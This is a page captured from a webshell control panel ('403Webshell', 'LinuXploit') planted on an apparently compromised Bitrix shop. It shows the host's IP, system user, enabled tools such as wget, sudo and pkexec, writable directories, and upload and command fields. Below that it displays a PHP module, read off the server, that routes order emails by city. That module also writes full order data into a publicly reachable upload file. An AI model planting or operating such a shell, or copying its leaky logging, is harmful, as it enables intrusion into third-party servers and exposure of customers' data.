403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/wbs24.saleemailcvetdvor/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/wbs24.saleemailcvetdvor/lib/Main.php
<?php
namespace Wbs24\Saleemailcvetdvor;

use Bitrix\Sale\Order;
use Bitrix\Main\Loader;
use Bitrix\Main\Event;
use Bitrix\Main\EventResult;
use Bitrix\Main\SystemException;

class Main
{
    use Exception;
    use Helper;

    protected $moduleId;
    protected $wrappers;
    protected $region;
    protected $Admin;

    protected $destanationIblockId;
    protected $siteId;
    protected $regionPropertyCode = 'CITY';
    protected $regionFlagPropertyCode = 'CITY_IS_SET';

    public function __construct($objects = [])
    {
        try {
            if (!Loader::includeModule('aspro.next')) throw new SystemException("Module aspro.next don`t installed");

            $this->moduleId = basename(dirname(__DIR__, 1));
            $this->wrappers = new Wrappers($objects);
            $this->region = $objects['CNextRegionality'] ?? new \CNextRegionality();
            $this->Admin = $objects['Admin'] ?? new Admin(array_merge(['Main' => $this], $objects));

            $this->destanationIblockId = intval($this->wrappers->Option->get($this->moduleId, 'destanation_iblock_id'));
            $this->siteId = $this->wrappers->Option->get($this->moduleId, 'site_id');
        } catch (SystemException $exception) {
            $this->exceptionHandler($exception);
        }
    }

    public function getModuleId()
    {
        return $this->moduleId;
    }

    public function getSiteId()
    {
        return $this->siteId;
    }

    public function getDestanationIblockId()
    {
        return $this->destanationIblockId;
    }

    public static function OnSaleOrderBeforeSavedHandler(Event $event)
    {
        $order = $event->getParameter("ENTITY");
        $obj = new Main();

        $currentSiteId = $order->getSiteId();
        if ($currentSiteId == $obj->getSiteId() && !$obj->isRegionSet($order)) {
            $region = $obj->getRegionFromDelivery($order);
            $regionFromContext = $obj->getRegion();
            if ($regionFromContext != $region) {
                $region = $regionFromContext;
            }
            if ($region) {
                $obj->setOrderRegion($order, $region);
            }
        }
    }

    public function isRegionSet(&$order)
    {
        $property = $this->getOrderField($order, $this->regionFlagPropertyCode);

        return ($property && $property->getValue() == 'Y');
    }

    public static function OnBeforeEventSendHandler(&$arFields, &$arFieldsMail)
    {
        $obj = new Main();
        if (!$obj->moduleIsOn($arFieldsMail['LID'])) return;
        $email = '';
        $productName = '';

        $log = date("Y.m.d H:i:s")."\r\n 1: ".print_r([$arFields, $arFieldsMail], true)."\r\n\r\n";
        if ($log) {
            $handle = @fopen($_SERVER['DOCUMENT_ROOT']."/upload/Saleemailcvetdvor_OnBeforeEventSendHandler.txt", "a");
            fwrite($handle, $log);
            fclose($handle);
        }

        // события заказов
        if (
            (
                $arFieldsMail['EVENT_NAME'] == 'SALE_NEW_ORDER'
                || $arFieldsMail['EVENT_NAME'] == 'SALE_ORDER_PAID'
                || $arFieldsMail['EVENT_NAME'] == 'NEW_ONE_CLICK_BUY'
                || $arFieldsMail['EVENT_NAME'] == 'SALE_ORDER_CANCEL'
            )
            && (isset($arFields['ORDER_ID']) || isset($arFields['RS_ORDER_ID']))
            && \CModule::IncludeModule('sale')
        ) {
            // fix
            if (
                $arFields['REGION_EMAIL']
                && strpos($arFields['SALE_EMAIL'], $arFields['REGION_MAIN_DOMAIN']) !== false
            ) {
                $arFields['SALE_EMAIL'] = $arFields['REGION_EMAIL'];
            }

            $orderId = $arFields['ORDER_ID'] ?? $arFields['RS_ORDER_ID'];
            $order = Order::load($orderId);
            $city = $obj->getCityFromOrder($order);
            $email = $obj->getEmail($city);
        }

        // события не связанные с заказами
        if ($arFieldsMail['EVENT_NAME'] == 'FORM_FILLING_BUYSIMILAR') {
            $city = $arFields['REGION_NAME'];
            $email = $obj->getEmail($city);
            $productName = $obj->getProductName($arFields['PRODUCT_NAME']);
        }

        if ($email) {
            $arFieldsMail['EMAIL_TO'] = $obj->addEmails($arFieldsMail['EMAIL_TO'], $email);
            $obj->createReport('log.txt', 'Event: '.$arFieldsMail['EVENT_NAME'].'; Order ID: '.$orderId.'; City: '.$city.'; E-mails: '.$arFieldsMail['EMAIL_TO']);
        }

        if ($productName) {
            $arFields['PRODUCT_NAME'] = $productName;
        }

        $log = date("Y.m.d H:i:s")."\r\n 2:".print_r([$arFields, $arFieldsMail], true)."\r\n\r\n";
        if ($log) {
            $handle = @fopen($_SERVER['DOCUMENT_ROOT']."/upload/Saleemailcvetdvor_OnBeforeEventSendHandler.txt", "a");
            fwrite($handle, $log);
            fclose($handle);
        }
    }

    public static function onSaleDeliveryHandlersClassNamesBuildListHandler()
    {
        return new EventResult(
            EventResult::SUCCESS,
            [
                '\Wbs24\Saleemailcvetdvor\Delivery' => '/bitrix/modules/wbs24.saleemailcvetdvor/lib/Delivery.php',
                //'\Wbs24\Saleemailcvetdvor\DeliveryPickup' => '/bitrix/modules/wbs24.saleemailcvetdvor/lib/DeliveryPickup.php',
            ]
        );
    }

    public function getProductName($currentProductName)
    {
        $newProductName = '';
        if (is_numeric($currentProductName)) {
            $productId = $currentProductName;
            $select = ["NAME", "DETAIL_PAGE_URL"];
            $filter = ["ID" => $productId];
            $result = $this->wrappers->CIBlockElement->GetList(["SORT" => "ASC"], $filter, false, false, $select);
             if ($fields = $result->GetNext()) {
                $newProductName = "<a href='https://ilovecveti.ru".$fields["DETAIL_PAGE_URL"]."'>".$fields["NAME"]."</a>";
             }
        }

        return $newProductName;
    }

    public function getRegionFromDelivery(&$order)
    {
        $region = '';
        $found = false;

        $deliveryIds = $order->getDeliverySystemId();
        $deliveries = $this->wrappers->DeliveryServices->getList([
            'select' => ['ID', 'NAME'],
            'filter' => ['ID' => $deliveryIds],
        ])->fetchAll();

        $cityList = $this->Admin->getSenderCityList();

        foreach ($deliveries as $deliveryInfo) {
            $deliveryName = $deliveryInfo['NAME'];
            foreach ($cityList as $city) {
                if (strpos($deliveryName, $city) !== false) {
                    $region = $city;
                    $found = true;
                    break;
                }
            }
            if ($found) break;
        }

        return $region;
    }

    protected function getShopNames()
    {
        # code...
    }

    public function getRegion()
    {
        $regionInfo = $this->getRegionInfo();

        return $regionInfo['NAME'];
    }

    protected function moduleIsOn($currentLid)
    {
        $moduleIsOn = false;
        $allowedLid = ($this->getSiteId() == $currentLid);
        if ($allowedLid) $moduleIsOn = ($this->wrappers->Option->get($this->moduleId, 'on') == 'Y');

        return $moduleIsOn;
    }

    protected function getRegionId()
    {
        $regionInfo = $this->getRegionInfo();

        return $regionInfo['ID'];
    }

    protected function getRegionInfo()
    {
        return $this->region->getCurrentRegion();
    }

    public function setOrderRegion(&$order, $region)
    {
        $regionProperty = $this->getOrderField($order, $this->regionPropertyCode);
        if ($regionProperty) $regionProperty->setValue($region);

        $flagProperty = $this->getOrderField($order, $this->regionFlagPropertyCode);
        if ($flagProperty) $flagProperty->setValue('Y');
    }

    protected function getOrderField(&$order, $code)
    {
        $propertyCollection = $order->getPropertyCollection();
        $property = $propertyCollection->getItemByOrderPropertyCode($code);

        return $property;
    }

    public function getDeliveryPrice(&$order)
    {
        $basePrice = $this->getBaseDeliveryPrice();
        $ratio = $this->getDeliveryPriceRatio();
        $price = $basePrice * $ratio;

        return $price;
    }

    public function getCityFromOrder(&$order)
    {
        $regionProperty = $this->getOrderField($order, $this->regionPropertyCode);
        $city = $regionProperty ? $regionProperty->getValue() : '';

        return $city;
    }

    protected function getBaseDeliveryPrice()
    {
        return intval($this->wrappers->Option->get($this->moduleId, 'base_price'));
    }

    protected function getDeliveryPriceRatio()
    {
        $regionId = $this->getRegionId();
        $ratio = $this->wrappers->Option->get($this->moduleId, 'destanation_ratio_'.$regionId);

        return $ratio;
    }

    public function getEmail($orderCity)
    {
        $managerEmail = $this->getEmailFromCities($orderCity);
        if (!$managerEmail) {
            $senderCity = $this->getSenderCityFromDestanations($orderCity);
            if ($senderCity) {
                $managerEmail = $this->getEmailFromCities($senderCity);
            }
        }

        return $managerEmail;
    }

    protected function getEmailFromCities($orderCity)
    {
        $managerEmail = '';
        $quantity = $this->maxLines;
        for ($i = 1; $i <= $quantity; $i++) {
            $city = $this->wrappers->Option->get($this->moduleId, 'city_'.$i);
            $email = $this->wrappers->Option->get($this->moduleId, 'email_'.$i);

            if ($city == $orderCity && $email) {
                $managerEmail = $email;
                break;
            }

            if ($this->needBreakList($city, $counter)) break;
        }

        return $managerEmail;
    }

    protected function getSenderCityFromDestanations($orderCity)
    {
        $foundSenderCity = '';

        $destanations = $this->getDestanations();

        foreach ($destanations as $i => $destanation) {
            $senderCity = $this->wrappers->Option->get($this->moduleId, 'sender_city_'.$i);

            if ($destanation == $orderCity && $senderCity) {
                $foundSenderCity = $senderCity;
                break;
            }
        }

        return $foundSenderCity;
    }

    public function getDestanations()
    {
        $destanations = [];

        $select = ["ID", "IBLOCK_ID", "NAME"];
        $filter = ["IBLOCK_ID" => $this->destanationIblockId];
        $res = $this->wrappers->CIBlockElement->GetList(["SORT" => "ASC"], $filter, false, false, $select);
        while($fields = $res->Fetch()) {
            $id = $fields['ID'];
            $name = $fields['NAME'];

            $destanations[$id] = $name;
        }

        return $destanations;
    }

    protected function addEmails($currentEmailsString, $addEmail)
    {
        if (strpos($currentEmailsString, '#SALE_EMAIL#') !== false) {
            $currentEmailsString = str_replace('#SALE_EMAIL#', $addEmail, $currentEmailsString);
        } elseif (strpos($currentEmailsString, '#DEFAULT_EMAIL_FROM#') !== false) {
            $currentEmailsString = str_replace('#DEFAULT_EMAIL_FROM#', $addEmail, $currentEmailsString);
        }

        return $currentEmailsString;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit